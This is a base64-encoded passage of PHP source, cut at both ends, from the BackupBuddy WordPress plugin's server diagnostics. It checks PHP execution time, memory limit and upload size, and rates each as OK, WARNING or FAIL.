gkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKfQphcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKCgovLyBNYXhpbXVtIFBIUCBSdW50aW1lIChBQ1RVQUwgVEVTVEVEISkuCmlmICggISBkZWZpbmVkKCAnUEJfSU1QT1JUQlVERFknICkgKSB7CglpZiAoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sndGVzdGVkX3BocF9ydW50aW1lJ10gPiAwICkgewoJCSRsYXN0X3Rlc3RlZCAgICAgICAgICA9IHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5kYXRlKCBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+bG9jYWxpemVfdGltZSggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydsYXN0X3Rlc3RlZF9waHBfcnVudGltZSddICkgKSAuICcgKCcgLiBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+dGltZV9hZ28oIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbGFzdF90ZXN0ZWRfcGhwX3J1bnRpbWUnXSApIC4gJyAnIC4gX18oICdhZ28nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcpJzsKCQkkdGVzdGVkX3J1bnRpbWVfdmFsdWUgPSAnPHNwYW4gaWQ9InBiX3N0YXRzX3J1bl9waHBfcnVudGltZV90ZXN0IiB0aXRsZT0iTGFzdCB0ZXN0ZWQ6IGAnIC4gJGxhc3RfdGVzdGVkIC4gJ2AiPicgLiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3Rlc3RlZF9waHBfcnVudGltZSddIC4gJyAnIC4gX18oICdzZWNzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnPC9zcGFuPic7Cgl9IGVsc2UgewoJCSR0ZXN0ZWRfcnVudGltZV92YWx1ZSA9ICc8c3BhbiBjbGFzcz0iZGVzY3JpcHRpb24iIGlkPSJwYl9zdGF0c19ydW5fcGhwX3J1bnRpbWVfdGVzdCI+JyAuIF9fKCAnUGVuZGluZy4uLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzwvc3Bhbj4nOwoJfQoJJGRpc2FibGVkID0gJyc7CglpZiAoIDAgPT0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwaHBfcnVudGltZV90ZXN0X21pbmltdW1faW50ZXJ2YWwnXSApIHsKCQkkZGlzYWJsZWQgPSAnPHNwYW4gdGl0bGU9IicgLiBfXyggJ0Rpc2FibGVkIGJhc2VkIG9uIEFkdmFuY2VkIFNldHRpbmdzLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyI+JyAuIF9fKCAnRGlzYWJsZWQnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc8L3NwYW4+JzsKCX0KCSRwYXJlbnRfY2xhc3NfdGVzdCA9IGFycmF5KAoJCSd0aXRsZScgICAgICA9PiAnVGVzdGVkIFBIUCBNYXggRXhlY3V0aW9uIFRpbWUnLAoJCSdzdWdnZXN0aW9uJyA9PiAnPj0gMzAgc2Vjb25kcyAoMzArIGJlc3QpJywKCQkndmFsdWUnICAgICAgPT4gJHRlc3RlZF9ydW50aW1lX3ZhbHVlIC4gJGRpc2FibGVkIC4gJyA8YSBjbGFzcz0icGJfYmFja3VwYnVkZHlfcmVmcmVzaF9zdGF0cyBwYl9iYWNrdXBidWRkeV90ZXN0UEhQUnVudGltZSIgcmVsPSJydW5fcGhwX3J1bnRpbWVfdGVzdCIgYWx0PSInIC4gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAncnVuX3BocF9ydW50aW1lX3Rlc3QnICkgLiAnIiB0aXRsZT0iJyAuIF9fKCAnUnVuIFRlc3QgKG1heSB0YWtlIHNldmVyYWwgbWludXRlcyknLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciPjxpbWcgc3JjPSInIC4gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSAuICcvaW1hZ2VzL3JlZnJlc2hfZ3JheS5naWYiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogLTFweDsiPiA8c3BhbiBjbGFzcz0icGJfYmFja3VwYnVkZHlfbG9hZGluZyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IG1hcmdpbi1sZWZ0OiAxMHB4OyI+PGltZyBzcmM9IicgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9pbWFnZXMvbG9hZGluZy5naWYiIGFsdD0iJyAuIF9fKCAnTG9hZGluZy4uLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgdGl0bGU9IicgLiBfXyggJ0xvYWRpbmcuLi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiAtM3B4OyIgLz48L3NwYW4+PC9hPicsCgkJJ3RpcCcgICAgICAgID0+IF9fKCAnVGhpcyBpcyB0aGUgVEVTVEVEIGFtb3VudCBvZiB0aW1lIHRoYXQgUEhQIGFsbG93cyBzY3JpcHRzIHRvIHJ1bi4gVGhlIHRlc3Qgd2FzIHBlcmZvcm1lZCBieSBvdXRwdXR0aW5nIC8gbG9nZ2luZyB0aGUgc2NyaXB0IHRpbWUgZWxhcHNlZCBvbmNlIHBlciBzZWNvbmQgdW50aWwgUEhQIHRpbWVkIG91dCBhbmQgdGh1cyB0aGUgdGltZSByZXBvcnRlZCBzdG9wcGVkLiBUaGlzIGdpdmVzIGEgZmFpcmx5IGFjY3VyYXRlIG51bWJlciBjb21wYXJlZCB0byB0aGUgcmVwb3J0ZWQgbnVtYmVyIHdoaWNoIGlzIG1vc3Qgb2Z0ZW4gb3ZlcnJpZGVuIGF0IHRoZSBzZXJ2ZXIgd2l0aCBhIGxpbWl0LicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyAnIC4gJ1RoaXMgdGVzdCBpcyBsaW1pdGVkIHRvIGAnIC4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwaHBfcnVudGltZV90ZXN0X21pbmltdW1faW50ZXJ2YWwnXSAuICdgIHNlY29uZHMgYmFzZWQgb24geW91ciBhZHZhbmNlZCBzZXR0aW5ncyAoMCA9IGRpc2FibGVkKS4gQXV0b21hdGljYWxseSByZXNjYW5zIGR1cmluZyBob3VzZWtlZXBpbmcgYWZ0ZXIgYCcgLiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3BocF9ydW50aW1lX3Rlc3RfbWluaW11bV9pbnRlcnZhbCddIC4gJ2Agc2Vjb25kcyBlbGFwc2UgYmV0d2VlbiB0ZXN0cyBhcyB3ZWxsIGFsd2F5cyBvbiBwbHVnaW4gYWN0aXZhdGlvbi4nLAoJKTsKCWlmICggaXNfbnVtZXJpYyggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX3J1bnRpbWUnXSApICYmICggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX3J1bnRpbWUnXSA8IDI5ICkgKSB7CgkJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdGQUlMJzsKCX0gZWxzZSB7CgkJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdPSyc7Cgl9CglhcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwp9CgovLyBNYXhpbXVtIFBIUCBSdW50aW1lIChBQ1RVQUwgVEVTVEVEISkuCiRiYl9waHBfbWF4X2V4ZWN1dGlvbiAgICAgICAgPSBiYWNrdXBidWRkeV9jb3JlOjpkZXRlY3RNYXhFeGVjdXRpb25UaW1lKCk7IC8vIExlc3NlciBvZiBQSFAgcmVwb3J0ZWQgYW5kIHRlc3RlZC4gRmxvYXQuCiRiYl9waHBfbWF4X2V4ZWN1dGlvbl9zdHJpbmcgPSAkYmJfcGhwX21heF9leGVjdXRpb24gLiAnICcgLiBfXyggJ3NlY3MnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgLy8gU3RyaW5nLgoKaWYgKCBiYWNrdXBidWRkeV9jb3JlOjphZGp1c3RlZE1heEV4ZWN1dGlvblRpbWUoKSAhPSAkYmJfcGhwX21heF9leGVjdXRpb24gKSB7IC8vIFRha2VzIGludG8gYWNjb3VudCB1c2VyIG92ZXJyaWRlLgoJJGJiX3BocF9tYXhfZXhlY3V0aW9uX3N0cmluZyA9ICc8c3RyaWtlPicgLiAkYmJfcGhwX21heF9leGVjdXRpb25fc3RyaW5nIC4gJzwvc3RyaWtlPiAnIC4gX18oICdPdmVycmlkZGVuIGluIHNldHRpbmdzIHRvOicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyAnIC4gYmFja3VwYnVkZHlfY29yZTo6YWRqdXN0ZWRNYXhFeGVjdXRpb25UaW1lKCkgLiAnICcgLiBfXyggJ3NlY3MnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKfQppZiAoICEgZGVmaW5lZCggJ1BCX0lNUE9SVEJVRERZJyApICkgewoJJHBhcmVudF9jbGFzc190ZXN0ID0gYXJyYXkoCgkJJ3RpdGxlJyAgICAgID0+ICdCYWNrdXBCdWRkeSBQSFAgTWF4IEV4ZWN1dGlvbiBUaW1lJywKCQknc3VnZ2VzdGlvbicgPT4gJz49IDMwIHNlY29uZHMgKDMwKyBiZXN0KScsCgkJJ3ZhbHVlJyAgICAgID0+ICRiYl9waHBfbWF4X2V4ZWN1dGlvbl9zdHJpbmcsCgkJJ3RpcCcgICAgICAgID0+IGVzY19hdHRyX18oICdUaGlzIGlzIHRoZSBtYXggZXhlY3V0aW9uIHRpbWUgQmFja3VwQnVkZHkgaXMgdXNpbmcgZm9yIGNodW5raW5nLiBJdCBpcyB0aGUgbGVzc2VyIG9mIHRoZSB2YWx1ZXMgb2YgdGhlIHJlcG9ydGVkIFBIUCBleGVjdXRpb24gdGltZSBhbmQgYWN0dWFsIHRlc3RlZCBleGVjdXRpb24gdGltZS4gSWYgdGhlIEJhY2t1cEJ1ZGR5ICJNYXggdGltZSBwZXIgY2h1bmsiIEFkdmFuY2VkIFNldHRpbmcgaXMgc2V0IHRoZW4gdGhhdCB2YWx1ZSBpcyB1c2VkIGluc3RlYWQuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkpOwoJaWYgKCAkYmJfcGhwX21heF9leGVjdXRpb24gPCAyOCApIHsgLy8gSGFzIGEgbGl0dGxlIHdpZ2dsZSByb29tLgoJCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnRkFJTCc7Cgl9IGVsc2UgewoJCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnT0snOwoJfQoJYXJyYXlfcHVzaCggJHRlc3RzLCAkcGFyZW50X2NsYXNzX3Rlc3QgKTsKfQoKJHBocGluZm9fYXJyYXkgPSBwaHBpbmZvX2FycmF5KCA0ICk7CgovLyBNRU1PUlkgTElNSVQuCi8qKgogKiBDb252ZXJ0IHN0cmluZyBzaXplIHRvIGJ5dGVzLgogKgogKiBAcGFyYW0gc3RyaW5nICR2YWwgIEJ5dGUgc3RyaW5nLgogKgogKiBAcmV0dXJuIGludCAgVmFsdWUgaW4gYnl0ZXMuCiAqLwpmdW5jdGlvbiBiYl9yZXR1cm5fYnl0ZXMoICR2YWwgKSB7CgkkdmFsICA9IHRyaW0oICR2YWwgKTsKCSRsYXN0ID0gc3RydG9sb3dlciggJHZhbFsgc3RybGVuKCAkdmFsICkgLSAxIF0gKTsKCSR2YWwgID0gKGludCkgJHZhbDsgLy8gVGhpcyBkdW1wcyBhbnkgdHJhaWxpbmcgbW9kaWZpZXIgLSBhdm9pZHMgUEhQIE5vdGljZS4KCXN3aXRjaCAoICRsYXN0ICkgewoJCS8vIFRoZSAnRycgbW9kaWZpZXIgaXMgYXZhaWxhYmxlIHNpbmNlIFBIUCA1LjEuMC4KCQljYXNlICdnJzoKCQkJJHZhbCAqPSAxMDI0OwoJCQkvLyBubyBicmVhay4KCQljYXNlICdtJzoKCQkJJHZhbCAqPSAxMDI0OwoJCQkvLyBubyBicmVhay4KCQljYXNlICdrJzoKCQkJJHZhbCAqPSAxMDI0OwoJCQkvLyBubyBicmVhay4KCX0KCglyZXR1cm4gJHZhbDsKfQoKJG1lbV9saW1pdHMgPSBhcnJheSgpOwppZiAoICEgaXNzZXQoICRwaHBpbmZvX2FycmF5WydtZW1vcnlfbGltaXQnXSApICkgewoJJHBhcmVudF9jbGFzc192YWwgPSAndW5rbm93bic7Cn0gZWxzZSB7CglnbG9iYWwgJGJiX2xvY2FsX21lbSwgJGJiX21hc3Rlcl9tZW07CgkkYmJfbG9jYWxfbWVtICAgICAgID0gYmJfcmV0dXJuX2J5dGVzKCAkcGhwaW5mb19hcnJheVsnbWVtb3J5X2xpbWl0J11bMF0gKSAvIDEwMjQgLyAxMDI0OwoJJGxvY2FsX21lbV9hc19ieXRlcyA9IGJiX3JldHVybl9ieXRlcyggJHBocGluZm9fYXJyYXlbJ21lbW9yeV9saW1pdCddWzBdICk7CglpZiAoICRsb2NhbF9tZW1fYXNfYnl0ZXMgPT0gKGludCkgJHBocGluZm9fYXJyYXlbJ21lbW9yeV9saW1pdCddWzBdICkgewoJCS8vIExvY2FsIHZhbHVlIGlzIGRlZmluZWQgaW4gYnl0ZXMgc28gd2UgbmVlZCB0byAiY29udmVydCIgdG8gTSBhcyBvdXIgZGVmYXVsdCB1bml0LgoJCSRtZW1fbGltaXRzW10gPSAoICRsb2NhbF9tZW1fYXNfYnl0ZXMgLyAxMDI0IC8gMTAyNCApIC4gJ00nOwoJfSBlbHNlIHsKCQkkbWVtX2xpbWl0c1tdID0gJHBocGluZm9fYXJyYXlbJ21lbW9yeV9saW1pdCddWzBdOwoJfQoJJHBhcmVudF9jbGFzc192YWwgPSAkcGhwaW5mb19hcnJheVsnbWVtb3J5X2xpbWl0J11bMF07CglpZiAoIGlzc2V0KCAkcGhwaW5mb19hcnJheVsnbWVtb3J5X2xpbWl0J11bMV0gKSApIHsKCQkkYmJfbWFzdGVyX21lbSAgICAgICA9IGJiX3JldHVybl9ieXRlcyggJHBocGluZm9fYXJyYXlbJ21lbW9yeV9saW1pdCddWzFdICkgLyAxMDI0IC8gMTAyNDsKCQkkbWFzdGVyX21lbV9hc19ieXRlcyA9IGJiX3JldHVybl9ieXRlcyggJHBocGluZm9fYXJyYXlbJ21lbW9yeV9saW1pdCddWzFdICk7CgkJaWYgKCAkbWFzdGVyX21lbV9hc19ieXRlcyA9PSAoaW50KSAkcGhwaW5mb19hcnJheVsnbWVtb3J5X2xpbWl0J11bMV0gKSB7CgkJCS8vIE1hc3RlciB2YWx1ZSBpcyBkZWZpbmVkIGluIGJ5dGVzIHNvIHdlIG5lZWQgdG8gImNvbnZlcnQiIHRvIE0gYXMgb3VyIGRlZmF1bHQgdW5pdC4KCQkJJG1lbV9saW1pdHNbXSA9ICggJG1hc3Rlcl9tZW1fYXNfYnl0ZXMgLyAxMDI0IC8gMTAyNCApIC4gJ00nOwoJCX0gZWxzZSB7CgkJCSRtZW1fbGltaXRzW10gPSAkcGhwaW5mb19hcnJheVsnbWVtb3J5X2xpbWl0J11bMV07CgkJfQoJCSRwYXJlbnRfY2xhc3NfdmFsIC49ICcgKGxvY2FsKSAvICcgLiAkcGhwaW5mb19hcnJheVsnbWVtb3J5X2xpbWl0J11bMV0gLiAnIChtYXN0ZXIpJzsKCX0KfQoKJHBhcmVudF9jbGFzc190ZXN0ID0gYXJyYXkoCgkndGl0bGUnICAgICAgPT4gJ1JlcG9ydGVkIFBIUCBNZW1vcnkgTGltaXQnLAoJJ3N1Z2dlc3Rpb24nID0+ICc+PSAyNTYgTUInLAoJJ3ZhbHVlJyAgICAgID0+ICRwYXJlbnRfY2xhc3NfdmFsLAoJJ3RpcCcgICAgICAgID0+IF9fKCAnVGhlIGFtb3VudCBvZiBtZW1vcnkgdGhpcyBzaXRlIGlzIGFsbG93ZWQgdG8gY29uc3VtZS4gTm90ZSB0aGF0IHNvbWUgaG9zdFwncyBtYXN0ZXIgdmFsdWUgbWF5IG92ZXJyaWRlIHRoZSBsb2NhbCBzZXR0aW5nLCBjYXBwaW5nIGl0IGF0IGEgbG93ZXIgdmFsdWUuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCik7CmZvcmVhY2ggKCAkbWVtX2xpbWl0cyBhcyAkbWVtX2xpbWl0ICkgewoJaWYgKCBwcmVnX21hdGNoKCAnLyhcZCspKFx3KikvJywgJG1lbV9saW1pdCwgJG1hdGNoZXMgKSApIHsKCQkkcGFyZW50X2NsYXNzX3ZhbCA9ICRtYXRjaGVzWzFdOwoJCSR1bml0ICAgICAgICAgICAgID0gJG1hdGNoZXNbMl07CgkJLy8gVXAgbWVtb3J5IGxpbWl0IGlmIGN1cnJlbnRseSBsb3dlciB0aGFuIDI1Nk0uCgkJaWYgKCAnZycgIT09IHN0cnRvbG93ZXIoICR1bml0ICkgKSB7CgkJCWlmICggJ20nICE9PSBzdHJ0b2xvd2VyKCAkdW5pdCApICkgewoJCQkJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdXQVJOSU5HJzsKCQkJfSBlbHNlaWYgKCAkcGFyZW50X2NsYXNzX3ZhbCA8IDEyNSApIHsKCQkJCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnRkFJTCc7CgkJCX0gZWxzZWlmICggJHBhcmVudF9jbGFzc192YWwgPCAyNTAgKSB7CgkJCQkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ1dBUk5JTkcnOwoJCQl9IGVsc2UgewoJCQkJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdPSyc7CgkJCX0KCQl9Cgl9IGVsc2UgewoJCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnV0FSTklORyc7Cgl9CgoJLy8gT25jZSBzZXQgdG8gd2FybmluZywgZG9uJ3QgcHJvY2VzcyBhbnkgbW9yZS4KCWlmICggJ1dBUk5JTkcnID09ICRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gKSB7CgkJYnJlYWs7Cgl9Cn0KYXJyYXlfcHVzaCggJHRlc3RzLCAkcGFyZW50X2NsYXNzX3Rlc3QgKTsKCgovLyBUZXN0ZWQgUEhQIE1lbW9yeSBMaW1pdCAoQUNUVUFMIFRFU1RFRCEpLgppZiAoICEgZGVmaW5lZCggJ1BCX0lNUE9SVEJVRERZJyApICkgewoJaWYgKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3Rlc3RlZF9waHBfbWVtb3J5J10gPiAwICkgewoJCSRsYXN0X3Rlc3RlZCAgICAgICAgID0gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmRhdGUoIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5sb2NhbGl6ZV90aW1lKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2xhc3RfdGVzdGVkX3BocF9tZW1vcnknXSApICkgLiAnICgnIC4gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPnRpbWVfYWdvKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2xhc3RfdGVzdGVkX3BocF9tZW1vcnknXSApIC4gJyAnIC4gX18oICdhZ28nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcpJzsKCQkkdGVzdGVkX21lbW9yeV92YWx1ZSA9ICc8c3BhbiBpZD0icGJfc3RhdHNfcnVuX3BocF9tZW1vcnlfdGVzdCIgdGl0bGU9Ikxhc3QgdGVzdGVkOiBgJyAuICRsYXN0X3Rlc3RlZCAuICdgIj4nIC4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX21lbW9yeSddIC4gJyAnIC4gX18oICdNQicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzwvc3Bhbj4nOwoJfSBlbHNlIHsKCQkkdGVzdGVkX21lbW9yeV92YWx1ZSA9ICc8c3BhbiBjbGFzcz0iZGVzY3JpcHRpb24iIGlkPSJwYl9zdGF0c19ydW5fcGhwX21lbW9yeV90ZXN0Ij4nIC4gX18oICdQZW5kaW5nLi4uJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnPC9zcGFuPic7Cgl9CglnbG9iYWwgJGJiX3Rlc3RlZF9tZW0sICRiYl90ZXN0ZWRfbWVtX2FnbzsKCgkkZGlzYWJsZWQgPSAnJzsKCWlmICggMCA9PSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3BocF9tZW1vcnlfdGVzdF9taW5pbXVtX2ludGVydmFsJ10gKSB7CgkJJGRpc2FibGVkICAgICAgICAgID0gJzxzcGFuIHRpdGxlPSInIC4gX18oICdEaXNhYmxlZCBiYXNlZCBvbiBBZHZhbmNlZCBTZXR0aW5ncy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciPicgLiBfXyggJ0Rpc2FibGVkJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnPC9zcGFuPic7CgkJJGJiX3Rlc3RlZF9tZW0gICAgID0gMDsKCQkkYmJfdGVzdGVkX21lbV9hZ28gPSAtMTsKCX0gZWxzZSB7CgkJJGJiX3Rlc3RlZF9tZW0gICAgID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX21lbW9yeSddOwoJCSRiYl90ZXN0ZWRfbWVtX2FnbyA9IHRpbWUoKSAtIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbGFzdF90ZXN0ZWRfcGhwX21lbW9yeSddOwoJfQoKCSRwYXJlbnRfY2xhc3NfdGVzdCA9IGFycmF5KAoJCSd0aXRsZScgICAgICA9PiAnVGVzdGVkIFBIUCBNZW1vcnkgTGltaXQnLAoJCSdzdWdnZXN0aW9uJyA9PiAnPj0gMjU2IE1CJywKCQkndmFsdWUnICAgICAgPT4gJHRlc3RlZF9tZW1vcnlfdmFsdWUgLiAkZGlzYWJsZWQgLiAnIDxhIGNsYXNzPSJwYl9iYWNrdXBidWRkeV9yZWZyZXNoX3N0YXRzIHBiX2JhY2t1cGJ1ZGR5X3Rlc3RQSFBNZW1vcnkiIHJlbD0icnVuX3BocF9tZW1vcnlfdGVzdCIgYWx0PSInIC4gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAncnVuX3BocF9tZW1vcnlfdGVzdCcgKSAuICciIHRpdGxlPSInIC4gX18oICdSdW4gVGVzdCAobWF5IHRha2Ugc2V2ZXJhbCBtaW51dGVzKScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyI+PGltZyBzcmM9IicgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9pbWFnZXMvcmVmcmVzaF9ncmF5LmdpZiIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiAtMXB4OyI+IDxzcGFuIGNsYXNzPSJwYl9iYWNrdXBidWRkeV9sb2FkaW5nIiBzdHlsZT0iZGlzcGxheTogbm9uZTsgbWFyZ2luLWxlZnQ6IDEwcHg7Ij48aW1nIHNyYz0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL2ltYWdlcy9sb2FkaW5nLmdpZiIgYWx0PSInIC4gX18oICdMb2FkaW5nLi4uJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIiB0aXRsZT0iJyAuIF9fKCAnTG9hZGluZy4uLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgd2lkdGg9IjE2IiBoZWlnaHQ9IjE2IiBzdHlsZT0idmVydGljYWwtYWxpZ246IC0zcHg7IiAvPjwvc3Bhbj48L2E+JywKCQkndGlwJyAgICAgICAgPT4gX18oICdUaGlzIGlzIHRoZSBURVNURUQgYW1vdW50IG9mIG1lbW9yeSBhbGxvd2VkIHRvIFBIUCBzY3JpcHRzLiBUaGUgdGVzdCB3YXMgcGVyZm9ybWVkIGJ5IG91dHB1dHRpbmcgLyBsb2dnaW5nIHRoZSBzY3JpcHQgbWVtb3J5IHVzYWdlIHdoaWxlIG1lbW9yeSB1c2FnZSB3YXMgaW5jcmVhc2VkLiBUaGlzIGdpdmVzIGEgZmFpcmx5IGFjY3VyYXRlIG51bWJlciBjb21wYXJlZCB0byB0aGUgcmVwb3J0ZWQgbnVtYmVyIHdoaWNoIGlzIGNvbW1vbmx5IG92ZXJyaWRlbiBhdCB0aGUgc2VydmVyIHdpdGggYSBsaW1pdCwgbWFraW5nIGl0IGRpZmZpY3VsdCB0byBhc2NlcnRhaW4uJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIFRoaXMgdGVzdCBpcyBsaW1pdGVkIHRvIHJ1bm5pbmcgbm8gbW9yZSBvZnRlbiB0aGFuIGV2ZXJ5IGAnIC4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwaHBfbWVtb3J5X3Rlc3RfbWluaW11bV9pbnRlcnZhbCddIC4gJ2Agc2Vjb25kcyBiYXNlZCBvbiB5b3VyIGFkdmFuY2VkIHNldHRpbmdzICgwID0gZGlzYWJsZWQpLiBSdW5zIGR1cmluZyBob3VzZWtlZXBpbmcgYXMgd2VsbCBhbHdheXMgb24gcGx1Z2luIGFjdGl2YXRpb24uJywKCSk7CglpZiAoIGlzX251bWVyaWMoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sndGVzdGVkX3BocF9tZW1vcnknXSApICkgewoJCWlmICggMCA9PSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3Rlc3RlZF9waHBfbWVtb3J5J10gKSB7CgkJCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnT0snOwoJCX0gZWxzZWlmICggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX21lbW9yeSddIDwgMTIzICkgewoJCQkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ0ZBSUwnOwoJCX0gZWxzZWlmICggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX21lbW9yeSddIDwgMjQ1ICkgeyAvLyAyNDUgaW5zdGVhZCBvZiAyNTYgdG8gZ2l2ZSB0aGUgdGVzdCBzb21lIHdpZ2dsZSByb29tLgoJCQkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ1dBUk5JTkcnOwoJCX0gZWxzZSB7CgkJCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnT0snOwoJCX0KCX0gZWxzZSB7CgkJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdXQVJOSU5HJzsKCX0KCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7Cn0KCi8vIE1heCB1cGxvYWQgZmlsZSBzaXplIGxpbWl0LgokbWF4X3VwbG9hZCAgICAgICAgPSBiYWNrdXBidWRkeV9jb3JlOjpmaWxlX3VwbG9hZF9tYXhfc2l6ZSgpOwokcGFyZW50X2NsYXNzX3Rlc3QgPSBhcnJheSgKCSd0aXRsZScgICAgICA9PiAnUEhQIE1heGltdW0gRmlsZSBVcGxvYWQgU2l6ZSAoc2VydmVyLXJlcG9ydGVkKScsCgknc3VnZ2VzdGlvbicgPT4gJz49IDEwIE1CJywKCSd2YWx1ZScgICAgICA9PiBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZmlsZV9zaXplKCAkbWF4X3VwbG9hZCApLAoJJ3RpcCcgICAgICAgID0+IF9fKCAnTWF4aW11bSBzaXplIG9mIGEgZmlsZS9kYXRhIHRoYXQgdGhpcyBzZXJ2ZXIgYWxsb3dzIHRvIGJlIHVwbG9hZGVkL3NlbnQgdG8gaXQuIERlcGxveW1lbnQgdXNlcyB0aGlzIGluZm9ybWF0aW9uIHRvIGRldGVybWluZSBob3cgbXVjaCBkYXRhIGNhbiBiZSBzZW50IHBlciBjaHVuaywgbWF4aW11bS4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKKTsKaWYgKCAkbWF4X3VwbG9hZCAvIDEwMjQgLyAxMDI0IDwgMTAgKSB7IC8vIDwgMTAgTUIgd2FybmluZwoJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdXQVJOSU5HJzsKfSBlbHNlIHsKCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnT0snOwp9CmFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgovLyBFUlJPUiBMT0dHSU5HIEVOQUJMRUQvRElTQUJMRUQuCmlmICggdHJ1ZSA9PSBpbmlfZ2V0KCAnbG9nX2Vycm9ycycgKSApIHsKCSRwYXJlbnRfY2xhc3NfdmFsID0gJ2VuYWJsZWQnOwp9IGVsc2UgewoJJHBhcmVudF9jbGFzc192YWwgPSAnZGlzYWJsZWQnOwp9CiRwYXJlbnRfY2xhc3NfdGVzdCAgICAgICAgICAgPSBhcnJheSgKCSd0aXRsZScgICAgICA